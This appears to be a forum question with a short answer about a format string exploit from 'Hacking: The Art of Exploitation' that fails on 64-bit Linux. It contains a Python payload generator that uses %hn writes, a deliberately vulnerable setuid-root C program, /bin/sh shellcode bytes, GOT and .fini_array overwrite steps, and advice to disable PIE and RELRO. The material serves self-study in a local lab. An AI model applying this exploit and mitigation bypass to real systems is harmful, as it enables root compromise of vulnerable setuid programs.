I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors with the address of a shellcode environment variable. I work on Kali Linux 64-bit and already found out that there are no dtors (destructors of a c program) and so now I try to overwrite the fini_array or the address of exit in ".got.plt" (I thought this would also work with the partial relro. So not being able to write into got.plt is my biggest problem I seek to get help with).
I already verified that the exploit writes the right address to the address given but when I run it with the address of fini_array or got.plt I get a SIGSEV or "Illegal instruction" error. After reading this I think the problem is that the partial relro won't let me overwrite fini_array since it makes fini_array among many others readonly. This is the python program I use to exploit the vuln program:
import struct
import sys
num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0
if len(sys.argv) > 1:
num = int(sys.argv[1], 0)
if len(sys.argv) > 2:
test_val = int(sys.argv[2], 0)
if len(sys.argv) > 3:
num1 = int(sys.argv[3], 0)# - num
if len(sys.argv) > 4:
num2 = int(sys.argv[4], 0)# - num1 - num
if len(sys.argv) > 5:
num3 = int(sys.argv[5], 0)# - num2 - num1 - num
addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6
vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))
def pad(s):
return s+"X"*(1024-len(s)-32)
exploit = ""
prev_val = 0
for val, addr in vals:
if not val:
continue
val_here = val - prev_val
prev_val = val
exploit += "%{}x".format(val_here)
if addr == test_val:
exploit += "%132$hn"
elif addr == addr1:
exploit += "%133$hn"
elif addr == addr2:
exploit += "%134$hn"
elif addr == addr3:
exploit += "%135$hn"
exploit = pad(exploit)
exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)
print pad(exploit)
When I pass the address of the shellcode environment variable and the address of fini_array obtained with
objdump -s -j .fini_array ./vuln
I just get a SegmentationFault.
It is also very strange that this happens as well when I try to overwrite an address in the .got.plt section which actually should not be affected by partial relro which means I should be able to write to it but in reality I can't. Moreover "ld --verbose ./vuln" shows this:
.dynamic : { *(.dynamic) }
.got : { *(.got) *(.igot) }
. = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
.got.plt : { *(.got.plt) *(.igot.plt) }
This is proof that .got.plt should not be readonly but why can I not write to it then?
Now my question is which workaround (maybe some gcc options) I could use to solve my problem. Even if it was not possible to actually overwrite .fini_array why do I have the same problem with .got.plt and how can I resolve it? I think that the problem I have with the .got.plt section might come from the fact that I am unable to execute the shellcode as it is part of the buffer. So are there any gcc options to make the buffer executable?
Here is vuln.c:
include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
fgets(text, sizeof(text), stdin);
printf("The right way to print user-controlled input:\n");
printf("%s\n", text);
printf("The wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);
}
I compile vuln.c with gcc 9.2.1 like this:
gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln
This is the shellcode:
\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
I exported this as a binary into the SHELLCODE variable by copying the above hex into input.txt. Then run:
xxd -r -p input.txt output.bin
Now export it:
export SHELLCODE=$(cat output.bin)
The script getenv.c is used to get the address of Shellcode:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[]) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
To use it run:
./getenvaddr SHELLCODE ./vuln
This tells you which address the SHELLCODE variable will have when you execute the vuln program. Last I find the address of the exit function in the global offset table by:
objdump -R ./vuln
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5
Here the address of exit would be 0x4038
Now I write the address of the shellcode let's say 0x7fffffffe5e5 to the address of the exit function 0x4038 so that the program should be redirected into a shell instead of exiting like this:
python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln
This is the underlying principle:
python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln
Relocations and low addresses like this one:
0000000000003de8 R_X86_64_RELATIVE *ABS*+0x0000000000001170
suggest that the executable has been built as PIE (position-independent executable), with full address space layout randomization (ASLR). This means that the addresses do not match the static view from objdump and are disable for each run.
Typically, building with gcc -no-pie disables ASLR. If you use gcc -no-pie -Wl,-z,norelro, you will disable (partial) RELRO as well.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With